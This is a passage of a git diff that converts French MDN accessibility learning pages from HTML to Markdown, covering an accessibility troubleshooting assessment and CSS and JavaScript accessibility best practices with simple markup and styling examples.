diff options
225 files changed, 37349 insertions, 37010 deletions
diff --git a/files/fr/learn/accessibility/accessibility_troubleshooting/index.md b/files/fr/learn/accessibility/accessibility_troubleshooting/index.md index 4a9aea28fd..7d501db4fb 100644 --- a/files/fr/learn/accessibility/accessibility_troubleshooting/index.md +++ b/files/fr/learn/accessibility/accessibility_troubleshooting/index.md @@ -11,99 +11,97 @@ tags: translation_of: Learn/Accessibility/Accessibility_troubleshooting original_slug: Apprendre/a11y/Accessibility_troubleshooting --- -<p>{{LearnSidebar}}<br> - {{PreviousMenu("Learn/Accessibility/Mobile", "Learn/Accessibility")}}</p> +{{LearnSidebar}} +{{PreviousMenu("Learn/Accessibility/Mobile", "Learn/Accessibility")}} -<p>Dans l’évaluation de ce module, nous vous présentons un site simple, qui présente un certain nombre de problèmes d’accessibilité que vous devez diagnostiquer et résoudre.</p> +Dans l’évaluation de ce module, nous vous présentons un site simple, qui présente un certain nombre de problèmes d’accessibilité que vous devez diagnostiquer et résoudre. <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Conditions préalables:</th> - <td>Connaissances informatiques de base, une compréhension de base de HTML, CSS et JavaScript, une compréhension de la <a href="/fr/docs/Learn/Accessibility">previous articles in the course</a>.</td> - </tr> - <tr> - <th scope="row">Objectif:</th> - <td>Tester les connaissances de base sur les principes fondamentaux d'accessibilité.</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Conditions préalables:</th> + <td> + Connaissances informatiques de base, une compréhension de base de HTML, + CSS et JavaScript, une compréhension de la <a + href="/fr/docs/Learn/Accessibility" + >previous articles in the course</a + >. + </td> + </tr> + <tr> + <th scope="row">Objectif:</th> + <td> + Tester les connaissances de base sur les principes fondamentaux + d'accessibilité. + </td> + </tr> + </tbody> </table> -<h2 id="Point_de_départ">Point de départ</h2> +## Point de départ +Pour lancer cette évaluation, vous devez aller chercher le [ZIP containing the files that comprise the example](https://github.com/mdn/learning-area/blob/master/accessibility/assessment-start/assessment-files.zip?raw=true). Décompressez le contenu dans un nouveau répertoire quelque part sur votre ordinateur local -<p>Pour lancer cette évaluation, vous devez aller chercher le <a href="https://github.com/mdn/learning-area/blob/master/accessibility/assessment-start/assessment-files.zip?raw=true">ZIP containing the files that comprise the example</a>. Décompressez le contenu dans un nouveau répertoire quelque part sur votre ordinateur local</p> +Le site d'évaluation terminé devrait ressembler à ceci: -<p>Le site d'évaluation terminé devrait ressembler à ceci:</p> + -<p><img alt="" src="assessment-site-finished.png"></p> +Vous verrez quelques différences / problèmes avec l'affichage de l'état de départ de l'évaluation - ceci est principalement dû aux différences dans le balisage, ce qui cause des problèmes de style car le CSS n'est pas appliqué correctement. Ne vous inquiétez pas, vous allez résoudre ces problèmes dans les prochaines sections! -<p>Vous verrez quelques différences / problèmes avec l'affichage de l'état de départ de l'évaluation - ceci est principalement dû aux différences dans le balisage, ce qui cause des problèmes de style car le CSS n'est pas appliqué correctement. Ne vous inquiétez pas, vous allez résoudre ces problèmes dans les prochaines sections!</p> +## Résumé du projet -<h2 id="Résumé_du_projet">Résumé du projet</h2> +Pour ce projet, vous êtes présenté avec un site naturel fictif affichant un article "factuel" sur les ours. Dans l'état actuel des choses, plusieurs problèmes d'accessibilité se posent. Votre tâche consiste à explorer le site existant et à le réparer au mieux de vos capacités, en répondant aux questions ci-dessous. -<p>Pour ce projet, vous êtes présenté avec un site naturel fictif affichant un article "factuel" sur les ours. Dans l'état actuel des choses, plusieurs problèmes d'accessibilité se posent. Votre tâche consiste à explorer le site existant et à le réparer au mieux de vos capacités, en répondant aux questions ci-dessous.</p> +### Couleur -<h3 id="Couleur">Couleur</h3> +Le texte est difficile à lire en raison du schéma de couleurs actuel. Pouvez-vous tester le contraste de couleurs actuel (texte / arrière-plan), en rapporter les résultats, puis le corriger en modifiant les couleurs attribuées? -<p>Le texte est difficile à lire en raison du schéma de couleurs actuel. Pouvez-vous tester le contraste de couleurs actuel (texte / arrière-plan), en rapporter les résultats, puis le corriger en modifiant les couleurs attribuées?</p> +### Semantic HTML -<h3 id="Semantic_HTML">Semantic HTML</h3> +1. Le contenu n'est toujours pas très accessible - faites un rapport sur ce qui se passe lorsque vous essayez de naviguer à l'aide d'un lecteur d'écran. +2. Pouvez-vous mettre à jour le texte de l'article pour faciliter la navigation des utilisateurs de lecteurs d'écran? +3. La partie du menu de navigation du site ( `<div class="nav"></div>`) pourrait être rendue plus accessible en la plaçant dans un élément sémantique HTML5 approprié. Lequel devrait-il être mis à jour? Faites la mise à jour. -<ol> - <li>Le contenu n'est toujours pas très accessible - faites un rapport sur ce qui se passe lorsque vous essayez de naviguer à l'aide d'un lecteur d'écran.</li> - <li>Pouvez-vous mettre à jour le texte de l'article pour faciliter la navigation des utilisateurs de lecteurs d'écran?</li> - <li>La partie du menu de navigation du site ( <code><div class="nav"></div></code>) pourrait être rendue plus accessible en la plaçant dans un élément sémantique HTML5 approprié. Lequel devrait-il être mis à jour? Faites la mise à jour.</li> -</ol> +> **Note :** Vous devrez mettre à jour les sélecteurs de règles CSS qui attribuent aux balises le même style que les balises sémantiques. Une fois que vous avez ajouté des éléments de paragraphe, vous remarquerez que le style est meilleur. -<div class="note"> -<p><strong>Note :</strong> Vous devrez mettre à jour les sélecteurs de règles CSS qui attribuent aux balises le même style que les balises sémantiques. Une fois que vous avez ajouté des éléments de paragraphe, vous remarquerez que le style est meilleur.</p> -</div> +### Les images -<h3 id="Les_images">Les images</h3> +Les images sont actuellement inaccessibles aux utilisateurs de lecteur d'écran. Pouvez-vous réparer ceci? -<p>Les images sont actuellement inaccessibles aux utilisateurs de lecteur d'écran. Pouvez-vous réparer ceci?</p> +### Le lecteur audio -<h3 id="Le_lecteur_audio">Le lecteur audio</h3> +1. Le lecteur `<audio>` n'est pas accessible aux malentendants (pouvez-vous ajouter une sorte d'alternative accessible pour ces utilisateurs)? +2. Le lecteur `<audio>` n'est pas accessible aux utilisateurs de navigateurs plus anciens qui ne prennent pas en charge l'audio HTML5. Comment pouvez-vous leur permettre d'accéder encore à l'audio? -<ol> - <li>Le lecteur <code><audio></code> n'est pas accessible aux malentendants (pouvez-vous ajouter une sorte d'alternative accessible pour ces utilisateurs)?</li> - <li>Le lecteur <code><audio></code> n'est pas accessible aux utilisateurs de navigateurs plus anciens qui ne prennent pas en charge l'audio HTML5. Comment pouvez-vous leur permettre d'accéder encore à l'audio?</li> -</ol> +### Les formulaires -<h3 id="Les_formulaires">Les formulaires</h3> +1. L'élément `<input>` dans le formulaire de recherche en haut pourrait être associé à une étiquette, mais nous ne souhaitons pas ajouter une étiquette de texte visible qui risquerait de gâcher la conception et qui n'est pas vraiment utile aux utilisateurs voyants. Comment ajouter une étiquette uniquement accessible aux lecteurs d’écran? ? +2. Les deux éléments `<input>` du formulaire de commentaire ont des étiquettes de texte visibles, mais ils ne sont pas associés sans ambiguïté à leurs étiquettes. Comment y parvenir? Notez que vous devrez également mettre à jour certaines règles CSS. -<ol> - <li>L'élément <code><input></code> dans le formulaire de recherche en haut pourrait être associé à une étiquette, mais nous ne souhaitons pas ajouter une étiquette de texte visible qui risquerait de gâcher la conception et qui n'est pas vraiment utile aux utilisateurs voyants. Comment ajouter une étiquette uniquement accessible aux lecteurs d’écran? ?</li> - <li>Les deux éléments <code><input></code> du formulaire de commentaire ont des étiquettes de texte visibles, mais ils ne sont pas associés sans ambiguïté à leurs étiquettes. Comment y parvenir? Notez que vous devrez également mettre à jour certaines règles CSS.</li> -</ol> +### Le contrôle afficher / masquer les commentaires -<h3 id="Le_contrôle_afficher_masquer_les_commentaires">Le contrôle afficher / masquer les commentaires</h3> +Le bouton de commande afficher / masquer les commentaires n’est pas actuellement accessible au clavier. Pouvez-vous le rendre accessible au clavier, à la fois en termes de focalisation à l'aide de la touche de tabulation et d'activation à l'aide de la touche de retour? -<p>Le bouton de commande afficher / masquer les commentaires n’est pas actuellement accessible au clavier. Pouvez-vous le rendre accessible au clavier, à la fois en termes de focalisation à l'aide de la touche de tabulation et d'activation à l'aide de la touche de retour?</p> +### La table -<h3 id="La_table">La table</h3> +Le tableau de données (data table ) n'est pas très accessible actuellement. Il est difficile pour les utilisateurs de lecteur d'écran d'associer des lignes et des colonnes de données. De plus, le tableau ne contient aucun type de résumé permettant de clarifier ce qu'il montre. Pouvez-vous ajouter des fonctionnalités à votre code HTML pour résoudre ce problème? -<p>Le tableau de données (data table ) n'est pas très accessible actuellement. Il est difficile pour les utilisateurs de lecteur d'écran d'associer des lignes et des colonnes de données. De plus, le tableau ne contient aucun type de résumé permettant de clarifier ce qu'il montre. Pouvez-vous ajouter des fonctionnalités à votre code HTML pour résoudre ce problème?</p> +### Autres considérations? -<h3 id="Autres_considérations">Autres considérations?</h3> +Pouvez-vous énumérer deux autres idées d’amélioration qui rendraient le site Web plus accessible? -<p>Pouvez-vous énumérer deux autres idées d’amélioration qui rendraient le site Web plus accessible?</p> +## Évaluation -<h2 id="Évaluation">Évaluation</h2> +Si vous suivez cette évaluation dans le cadre d'un cours organisé, vous devriez pouvoir donner votre travail à votre enseignant / mentor pour qu'il la corrige. Si vous vous auto-apprenez, vous pouvez obtenir le guide de notation assez facilement en le demandant sur la [discussion thread for this exercise](https://discourse.mozilla.org/t/accessibility-troubleshooting-assessment/24691), ou sur le canal IRC [#mdn](irc://irc.mozilla.org/mdn) sur [Mozilla IRC](https://wiki.mozilla.org/IRC). Essayez d'abord l'exercice - il n'y a rien à gagner à tricher! -<p>Si vous suivez cette évaluation dans le cadre d'un cours organisé, vous devriez pouvoir donner votre travail à votre enseignant / mentor pour qu'il la corrige. Si vous vous auto-apprenez, vous pouvez obtenir le guide de notation assez facilement en le demandant sur la <a href="https://discourse.mozilla.org/t/accessibility-troubleshooting-assessment/24691">discussion thread for this exercise</a>, ou sur le canal IRC <a href="irc://irc.mozilla.org/mdn">#mdn</a> sur <a href="https://wiki.mozilla.org/IRC">Mozilla IRC</a>. Essayez d'abord l'exercice - il n'y a rien à gagner à tricher!</p> +{{PreviousMenu("Learn/Accessibility/Mobile", "Learn/Accessibility")}} -<p>{{PreviousMenu("Learn/Accessibility/Mobile", "Learn/Accessibility")}}</p> +## Dans ce module -<h2 id="Dans_ce_module">Dans ce module</h2> - -<ul> - <li><a href="/fr/docs/Learn/Accessibility/What_is_accessibility">What is accessibility?</a></li> - <li><a href="/fr/docs/Learn/Accessibility/HTML">HTML: A good basis for accessibility</a></li> - <li><a href="/fr/docs/Learn/Accessibility/CSS_and_JavaScript">CSS and JavaScript accessibility best practices</a></li> - <li><a href="/fr/docs/Learn/Accessibility/WAI-ARIA_basics">WAI-ARIA basics</a></li> - <li><a href="/fr/docs/Learn/Accessibility/Multimedia">Accessible multimedia</a></li> - <li><a href="/fr/docs/Learn/Accessibility/Mobile">Mobile accessibility</a></li> - <li><a href="/fr/docs/Learn/Accessibility/Accessibility_troubleshooting">Accessibility troubleshooting</a></li> -</ul> +- [What is accessibility?](/fr/docs/Learn/Accessibility/What_is_accessibility) +- [HTML: A good basis for accessibility](/fr/docs/Learn/Accessibility/HTML) +- [CSS and JavaScript accessibility best practices](/fr/docs/Learn/Accessibility/CSS_and_JavaScript) +- [WAI-ARIA basics](/fr/docs/Learn/Accessibility/WAI-ARIA_basics) +- [Accessible multimedia](/fr/docs/Learn/Accessibility/Multimedia) +- [Mobile accessibility](/fr/docs/Learn/Accessibility/Mobile) +- [Accessibility troubleshooting](/fr/docs/Learn/Accessibility/Accessibility_troubleshooting) diff --git a/files/fr/learn/accessibility/css_and_javascript/index.md b/files/fr/learn/accessibility/css_and_javascript/index.md index 43455aa4be..dacf718e80 100644 --- a/files/fr/learn/accessibility/css_and_javascript/index.md +++ b/files/fr/learn/accessibility/css_and_javascript/index.md @@ -15,115 +15,136 @@ tags: translation_of: Learn/Accessibility/CSS_and_JavaScript original_slug: Apprendre/a11y/CSS_and_JavaScript --- -<div>{{LearnSidebar}}</div> +{{LearnSidebar}}{{PreviousMenuNext("Learn/Accessibility/HTML","Learn/Accessibility/WAI-ARIA_basics", "Learn/Accessibility")}} -<div>{{PreviousMenuNext("Learn/Accessibility/HTML","Learn/Accessibility/WAI-ARIA_basics", "Learn/Accessibility")}}</div> - -<p>CSS et JavaScript, lorsqu'ils sont utilisés correctement, peuvent également permettre des expériences web accessibles... ou peuvent nuire considérablement à l'accessibilité s'ils sont mal utilisés. Cet article décrit certaines des meilleures pratiques CSS et JavaScript à prendre en compte pour garantir que même un contenu complexe soit aussi accessible que possible.</p> +CSS et JavaScript, lorsqu'ils sont utilisés correctement, peuvent également permettre des expériences web accessibles... ou peuvent nuire considérablement à l'accessibilité s'ils sont mal utilisés. Cet article décrit certaines des meilleures pratiques CSS et JavaScript à prendre en compte pour garantir que même un contenu complexe soit aussi accessible que possible. <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Prérequis :</th> - <td>Connaissances informatiques de base, compréhension de base de HTML, CSS et JavaScript, et compréhension de <a href="/fr/docs/Apprendre/a11y/What_is_accessibility"> Qu'est ce que l'accessibilité ?</a></td> - </tr> - <tr> - <th scope="row">Objectif :</th> - <td>Familiarisez-vous avec l’utilisation appropriée de CSS et de JavaScript dans vos documents Web afin d’optimiser l’accessibilité et de ne pas la compromettre.</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Prérequis :</th> + <td> + Connaissances informatiques de base, compréhension de base de HTML, CSS + et JavaScript, et compréhension de + <a href="/fr/docs/Apprendre/a11y/What_is_accessibility" + >Qu'est ce que l'accessibilité ?</a + > + </td> + </tr> + <tr> + <th scope="row">Objectif :</th> + <td> + Familiarisez-vous avec l’utilisation appropriée de CSS et de JavaScript + dans vos documents Web afin d’optimiser l’accessibilité et de ne pas la + compromettre. + </td> + </tr> + </tbody> </table> -<h2 id="CSS_et_JavaScript_des_technologies_accessibles">CSS et JavaScript, des technologies accessibles ?</h2> +## CSS et JavaScript, des technologies accessibles ? -<p>CSS et JavaScript n’ont pas la même importance immédiate en matière d’accessibilité que le HTML, mais ils peuvent toujours aider ou nuire à l’accessibilité, en fonction de leur utilisation. En d'autres termes, il est important que vous preniez en compte certains conseils de meilleures pratiques pour vous assurer que votre utilisation de CSS et de JavaScript ne ruine pas l'accessibilité de vos documents.</p> +CSS et JavaScript n’ont pas la même importance immédiate en matière d’accessibilité que le HTML, mais ils peuvent toujours aider ou nuire à l’accessibilité, en fonction de leur utilisation. En d'autres termes, il est important que vous preniez en compte certains conseils de meilleures pratiques pour vous assurer que votre utilisation de CSS et de JavaScript ne ruine pas l'accessibilité de vos documents. -<h2 id="CSS">CSS</h2> +## CSS -<p>Commençons par regarder le CSS.</p> +Commençons par regarder le CSS. -<h3 id="Sémantique_correcte_et_attentes_de_lutilisateur">Sémantique correcte et attentes de l'utilisateur</h3> +### Sémantique correcte et attentes de l'utilisateur -<p>Il est possible d’utiliser CSS pour détourner l'apparence d'un élément HTML pour qu'il ressemble à un autre, mais cela ne veut pas dire que vous devriez le faire. Comme nous l’avons souvent mentionné dans notre article <a href="/fr/docs/Apprendre/a11y/HTML"> HTML : une bonne base pour l'accessibilité</a>, vous devez utiliser, dans la mesure du possible, l’élément sémantique approprié. Sinon, cela peut créer de la confusion et des difficultés d'usage pour tout le monde, plus particulièrement pour les utilisateurs handicapés. L'utilisation de la sémantique correcte a beaucoup à voir avec les attentes des utilisateurs — les éléments ont une apparence et un comportement particuliers, en fonction de leurs fonctionnalités, et ces conventions communes sont attendues par les utilisateurs.</p> +Il est possible d’utiliser CSS pour détourner l'apparence d'un élément HTML pour qu'il ressemble à un autre, mais cela ne veut pas dire que vous devriez le faire. Comme nous l’avons souvent mentionné dans notre article [HTML : une bonne base pour l'accessibilité](/fr/docs/Apprendre/a11y/HTML), vous devez utiliser, dans la mesure du possible, l’élément sémantique approprié. Sinon, cela peut créer de la confusion et des difficultés d'usage pour tout le monde, plus particulièrement pour les utilisateurs handicapés. L'utilisation de la sémantique correcte a beaucoup à voir avec les attentes des utilisateurs — les éléments ont une apparence et un comportement particuliers, en fonction de leurs fonctionnalités, et ces conventions communes sont attendues par les utilisateurs. -<p>Par exemple, un utilisateur de lecteur d'écran ne peut pas naviguer dans une page via des éléments d'en-tête si le développeur n'a pas utilisé les éléments d'en-tête de manière appropriée pour annoter le contenu. De la même manière, un en-tête perd son utilité visuelle si vous le stylisez de sorte qu'il ne ressemble pas à un en-tête.</p> +Par exemple, un utilisateur de lecteur d'écran ne peut pas naviguer dans une page via des éléments d'en-tête si le développeur n'a pas utilisé les éléments d'en-tête de manière appropriée pour annoter le contenu. De la même manière, un en-tête perd son utilité visuelle si vous le stylisez de sorte qu'il ne ressemble pas à un en-tête. -<p>La règle de base est la suivante : adaptez les styles et les comportements à votre conception sans rompre les habitudes utilisateur qui permettent une expérience intuitive. Les sections suivantes résument les principales fonctionnalités HTML à prendre en compte.</p> +La règle de base est la suivante : adaptez les styles et les comportements à votre conception sans rompre les habitudes utilisateur qui permettent une expérience intuitive. Les sections suivantes résument les principales fonctionnalités HTML à prendre en compte. -<h4 id="Structure_du_contenu_du_texte_standard">Structure du contenu du texte "standard"</h4> +#### Structure du contenu du texte "standard" -<p>Titres, paragraphes, listes — le contenu de texte de base de votre page :</p> +Titres, paragraphes, listes — le contenu de texte de base de votre page : -<pre class="brush: html"><h1>En-têtes</h1> +```html +<h1>En-têtes</h1> -<p>paragraphes</p> +<p>paragraphes</p> -<ul> - <li>Ma liste</li> - <li>a deux éléments.</li> -</ul></pre> +<ul> + <li>Ma liste</li> + <li>a deux éléments.</li> +</ul> +``` -<p>Quelques styles CSS typiques pourraient ressembler à ceci :</p> +Quelques styles CSS typiques pourraient ressembler à ceci : -<pre class="brush: css">h1 { +```css +h1 { font-size: 5rem; } p, li { line-height: 1.5; font-size: 1.6rem; -}</pre> +} +``` -<p>Vous devriez :</p> +Vous devriez : -<ul> - <li>Sélectionnez une taille de police, une hauteur de ligne, un espacement interlettres, etc. raisonnables pour que votre texte soit logique, lisible et agréable à lire.</li> - <li>Le style par défaut pour les titres, dans une taille plus grande et en gras les distingue du texte principal.</li> - <li>Vos listes devraient ressembler à des listes.</li> - <li>La couleur du texte doit présenter un contraste suffisant avec la couleur de fond.</li> -</ul> +- Sélectionnez une taille de police, une hauteur de ligne, un espacement interlettres, etc. raisonnables pour que votre texte soit logique, lisible et agréable à lire. +- Le style par défaut pour les titres, dans une taille plus grande et en gras les distingue du texte principal. +- Vos listes devraient ressembler à des listes. +- La couleur du texte doit présenter un contraste suffisant avec la couleur de fond. -<p>Voir <a href="/fr/docs/Apprendre/HTML/Introduction_à_HTML/HTML_text_fundamentals">Fondamentaux du texte HTML</a> et <a href="/fr/docs/Learn/CSS/Styling_text"> Introduction au style de texte</a> pour plus d'informations.</p> +Voir [Fondamentaux du texte HTML](/fr/docs/Apprendre/HTML/Introduction_à_HTML/HTML_text_fundamentals) et [ Introduction au style de texte](/fr/docs/Learn/CSS/Styling_text) pour plus d'informations. -<h4 id="Texte_mis_en_emphase">Texte mis en emphase</h4> +#### Texte mis en emphase -<p>On met en avant une portion de texte grâce au balises <em>inline</em> <code><em></code> :</p> +On met en avant une portion de texte grâce au balises *inline* `<em>` : -<pre class="brush: html"><p> L'eau est <em> très chaude </em>.</p> +```html +<p> L'eau est <em> très chaude </em>.</p> -<p> Les gouttelettes d’eau accumulées sur les surfaces s’appellent <strong>condensation</strong>.</p></pre> +<p> Les gouttelettes d’eau accumulées sur les surfaces s’appellent <strong>condensation</strong>.</p> +``` -<p>Vous voudrez peut-être ajouter quelques couleurs simples à votre texte mis en importance :</p> +Vous voudrez peut-être ajouter quelques couleurs simples à votre texte mis en importance : -<pre class="brush: css">strong, em { +```css +strong, em { color: #a60000; -}</pre> +} +``` -<p>Cependant, vous aurez rarement besoin de styliser des éléments d’emphase de manière significative. Les conventions standard de texte en gras () et en italique (emphase) sont très reconnaissables, et le changement de style peut être source de confusion. Pour mettre des contenus en avant de manière efficace, voir <a href="/fr/docs/Apprendre/HTML/Introduction_à_HTML/HTML_text_fundamentals#Emphasis_and_importance">Fondamentaux du texte HTML</a>.</p> +Cependant, vous aurez rarement besoin de styliser des éléments d’emphase de manière significative. Les conventions standard de texte en gras () et en italique (emphase) sont très reconnaissables, et le changement de style peut être source de confusion. Pour mettre des contenus en avant de manière efficace, voir [Fondamentaux du texte HTML](/fr/docs/Apprendre/HTML/Introduction_à_HTML/HTML_text_fundamentals#Emphasis_and_importance). -<h4 id="Les_abréviations">Les abréviations</h4> +#### Les abréviations -<p>Un élément permettant d'associer une abréviation, un acronyme ou un sigle à sa forme développée :</p> +Un élément permettant d'associer une abréviation, un acronyme ou un sigle à sa forme développée : -<pre class="brush: html"><p> Le contenu web est marqué à l'aide de <abbr title="Hypertext Markup Language">HTML</abbr>.</p></pre> +```html +<p> Le contenu web est marqué à l'aide de <abbr title="Hypertext Markup Language">HTML</abbr>.</p> +``` -<p>Encore une fois, vous voudrez peut-être appliquer une mise en forme simple sur ces éléments :</p> +Encore une fois, vous voudrez peut-être appliquer une mise en forme simple sur ces éléments : -<pre class="brush: css">abbr { +```css +abbr { color: #a60000; -}</pre> +} +``` -<p>Par convention, on souligne en pointillés les abréviations et il n’est pas judicieux de s’écarter significativement cette règle reconnue. Pour plus d'informations sur les abréviations, voir <a href="/fr/docs/Apprendre/HTML/Introduction_à_HTML/formatage-avance-texte#Abbreviations">Abréviations</a>.</p> +Par convention, on souligne en pointillés les abréviations et il n’est pas judicieux de s’écarter significativement cette règle reconnue. Pour plus d'informations sur les abréviations, voir [Abréviations](/fr/docs/Apprendre/HTML/Introduction_à_HTML/formatage-avance-texte#Abbreviations). -<h4 id="Liens">Liens</h4> +#### Liens -<p>Hyperliens la façon dont vous accédez à de nouveaux endroits sur le Web :</p> +Hyperliens la façon dont vous accédez à de nouveaux endroits sur le Web : -<pre class="brush: html"><p> Visiter la <a href="https://www.mozilla.org"> Page d'accueil de Mozilla </a>.</p></pre> +```html +<p> Visiter la <a href="https://www.mozilla.org"> Page d'accueil de Mozilla </a>.</p> +``` -<p>Un style de lien très simple est présenté ci-dessous :</p> +Un style de lien très simple est présenté ci-dessous : -<pre class="brush: css">a { +```css +a { color: #ff0000; } @@ -135,132 +156,126 @@ a:hover, a:visited, a:focus { a:active { color: #000000; background-color: #a60000; -}</pre> +} +``` -<p>Les conventions de style sur les liens sont le soulignement et une couleur différente (par défaut : bleu) dans leur état normal (non visité) de celle utilisée lorsque le lien a déjà été visité (par défaut : violet) et de celle utilisée lorsque le lien est activé (par défaut : rouge). De plus, le pointeur de la souris se change en icône de pointeur lorsque les liens sont déplacés, et le lien reçoit une surbrillance lorsqu'il est ciblé (par exemple, via une tabulation) ou activé. L'image suivante montre la surbrillance dans Firefox (contour en pointillé) et Chrome (contour bleu) :</p> +Les conventions de style sur les liens sont le soulignement et une couleur différente (par défaut : bleu) dans leur état normal (non visité) de celle utilisée lorsque le lien a déjà été visité (par défaut : violet) et de celle utilisée lorsque le lien est activé (par défaut : rouge). De plus, le pointeur de la souris se change en icône de pointeur lorsque les liens sont déplacés, et le lien reçoit une surbrillance lorsqu'il est ciblé (par exemple, via une tabulation) ou activé. L'image suivante montre la surbrillance dans Firefox (contour en pointillé) et Chrome (contour bleu) : -<p><img alt="" src="focus-highlight-firefox.png"></p> + -<p><img alt="" src="focus-highlight-chrome.png"></p> + -<p>Vous pouvez faire preuve de créativité avec les styles de lien, tant que vous continuez à donner aux utilisateurs des informations visuelles en retour lorsqu'ils interagissent avec les liens. Quelque chose doit effectivement se produire pour signaler les changements d'états d'un lien, et vous ne devriez pas vous débarrasser du curseur de pointeur ou du contour — ces deux outils sont des aides très importantes pour l'accessibilité pour ceux qui utilisent les contrôles du clavier.</p> +Vous pouvez faire preuve de créativité avec les styles de lien, tant que vous continuez à donner aux utilisateurs des informations visuelles en retour lorsqu'ils interagissent avec les liens. Quelque chose doit effectivement se produire pour signaler les changements d'états d'un lien, et vous ne devriez pas vous débarrasser du curseur de pointeur ou du contour — ces deux outils sont des aides très importantes pour l'accessibilité pour ceux qui utilisent les contrôles du clavier. -<h4 id="Éléments_form">Éléments form</h4> +#### Éléments form -<p>Éléments permettant aux utilisateurs de saisir des données sur des sites web :</p> +Éléments permettant aux utilisateurs de saisir des données sur des sites web : -<pre class="brush: html"><div> - <label for="name">Entrez votre nom</label> - <input type="text" id="name" name="name"> -</div></pre> +```html +<div> + <label for="name">Entrez votre nom</label> + <input type="text" id="name" name="name"> +</div> +``` -<p>Vous pouvez voir de bons exemples de CSS dans notre exemple <a href="https://github.com/mdn/learning-area/blob/master/accessibility/css/form-css.html">form-css.html</a> et (<a href="https://mdn.github.io/learning-area/accessibility/css/form-css.html">en direct</a>).</p> +Vous pouvez voir de bons exemples de CSS dans notre exemple [form-css.html](https://github.com/mdn/learning-area/blob/master/accessibility/css/form-css.html) et ([en direct](https://mdn.github.io/learning-area/accessibility/css/form-css.html)). -<p>La plupart du CSS que vous rédigerez pour les formulaires servira à dimensionner les éléments, à aligner les étiquettes et les entrées, et à leur donner une apparence nette et ordonnée.</p> +La plupart du CSS que vous rédigerez pour les formulaires servira à dimensionner les éléments, à aligner les étiquettes et les entrées, et à leur donner une apparence nette et ordonnée. -<p>Toutefois, vous ne devriez pas trop vous écarter des indications visuelles classiques qui signalent qu'un élément du formulaire est ciblé, c'est fondamentalement la même chose que pour les liens (voir ci-dessus). Vous pouvez mettre en forme les états ciblé / survolé du formulaire pour rendre ce comportement plus cohérent sur les navigateurs ou pour obtenir une meilleure intégration au design de votre page, mais ne vous en débarrassez pas complètement. Là encore, les utilisateurs s’appuient sur ces indices pour comprendre ce qui se passe.</p> +Toutefois, vous ne devriez pas trop vous écarter des indications visuelles classiques qui signalent qu'un élément du formulaire est ciblé, c'est fondamentalement la même chose que pour les liens (voir ci-dessus). Vous pouvez mettre en forme les états ciblé / survolé du formulaire pour rendre ce comportement plus cohérent sur les navigateurs ou pour obtenir une meilleure intégration au design de votre page, mais ne vous en débarrassez pas complètement. Là encore, les utilisateurs s’appuient sur ces indices pour comprendre ce qui se passe. -<h4 id="Tableaux">Tableaux</h4> +#### Tableaux -<p>Tableaux pour la présentation des données tabulées.</p> +Tableaux pour la présentation des données tabulées. -<p>Vous pouvez voir un bon exemple simple de <a href="https://github.com/mdn/learning-area/blob/master/accessibility/css/table-css.html">table-css.html</a> et (<a href="https://mdn.github.io/learning-area/accessibility/css/table-css.html">en direct</a>).</p> +Vous pouvez voir un bon exemple simple de [table-css.html](https://github.com/mdn/learning-area/blob/master/accessibility/css/table-css.html) et ([en direct](https://mdn.github.io/learning-area/accessibility/css/table-css.html)). -<p>En appliquant les propriétés du module CSS des tableaux, vous pourrez adapter les tables HTML à votre design avec une apparence pas trop affreuse. Il est judicieux de vous assurer que les en-têtes de table se démarquent (normalement en gras), et de zébrer les lignes via le pseudo-sélecteur <code>:nth-child(n) </code>pour faciliter la lecture.</p> +En appliquant les propriétés du module CSS des tableaux, vous pourrez adapter les tables HTML à votre design avec une apparence pas trop affreuse. Il est judicieux de vous assurer que les en-têtes de table se démarquent (normalement en gras), et de zébrer les lignes via le pseudo-sélecteur `:nth-child(n) `pour faciliter la lecture. -<h3 id="Couleur_et_contraste_de_couleur">Couleur et contraste de couleur</h3> +### Couleur et contraste de couleur -<p>Lorsque vous choisissez un jeu de couleurs pour votre site web, assurez-vous que la couleur du texte contraste bien avec la couleur de fond. Votre design peut sembler agréable, mais cela n’est pas bon si les personnes malvoyantes, par exemple atteintes de daltonisme, ne peuvent pas lire votre contenu.</p> +Lorsque vous choisissez un jeu de couleurs pour votre site web, assurez-vous que la couleur du texte contraste bien avec la couleur de fond. Votre design peut sembler agréable, mais cela n’est pas bon si les personnes malvoyantes, par exemple atteintes de daltonisme, ne peuvent pas lire votre contenu. -<p>Il existe un moyen simple de vérifier si votre contraste est suffisamment important pour ne pas causer de problèmes. Il existe un certain nombre d’outils de vérification du contraste en ligne dans lesquels vous pouvez entrer vos couleurs de premier plan et d’arrière-plan afin de les vérifier. Par exemple, le <a href="https://webaim.org/resources/contrastchecker/">vérificateur de contraste de couleur</a> du WebAIM est simple à utiliser et explique ce dont vous avez besoin pour vous conformer aux critères WCAG relatifs au contraste des couleurs.</p> +Il existe un moyen simple de vérifier si votre contraste est suffisamment important pour ne pas causer de problèmes. Il existe un certain nombre d’outils de vérification du contraste en ligne dans lesquels vous pouvez entrer vos couleurs de premier plan et d’arrière-plan afin de les vérifier. Par exemple, le [vérificateur de contraste de couleur](https://webaim.org/resources/contrastchecker/) du WebAIM est simple à utiliser et explique ce dont vous avez besoin pour vous conformer aux critères WCAG relatifs au contraste des couleurs. -<div class="note"> -<p><strong>Note :</strong> Un taux de contraste élevé permettra également à toute personne utilisant un smartphone ou une tablette avec un écran brillant de mieux lire les pages dans un environnement lumineux, tel qu'exposé à la lumière du soleil.</p> -</div> +> **Note :** Un taux de contraste élevé permettra également à toute personne utilisant un smartphone ou une tablette avec un écran brillant de mieux lire les pages dans un environnement lumineux, tel qu'exposé à la lumière du soleil. -<p>Un autre conseil est de ne pas compter uniquement sur la couleur pour les panneaux / informations, car cela ne sera pas bon pour ceux qui ne peuvent pas voir la couleur. Au lieu de marquer les champs de formulaire obligatoires en rouge, par exemple, marquez-les d'un astérisque et en rouge.</p> +Un autre conseil est de ne pas compter uniquement sur la couleur pour les panneaux / informations, car cela ne sera pas bon pour ceux qui ne peuvent pas voir la couleur. Au lieu de marquer les champs de formulaire obligatoires en rouge, par exemple, marquez-les d'un astérisque et en rouge. -<h3 id="Cacher_des_choses">Cacher des choses</h3> +### Cacher des choses -<p>Dans de nombreux cas, une conception visuelle nécessitera de ne pas afficher tout le contenu en même temps. Par exemple, dans notre <a 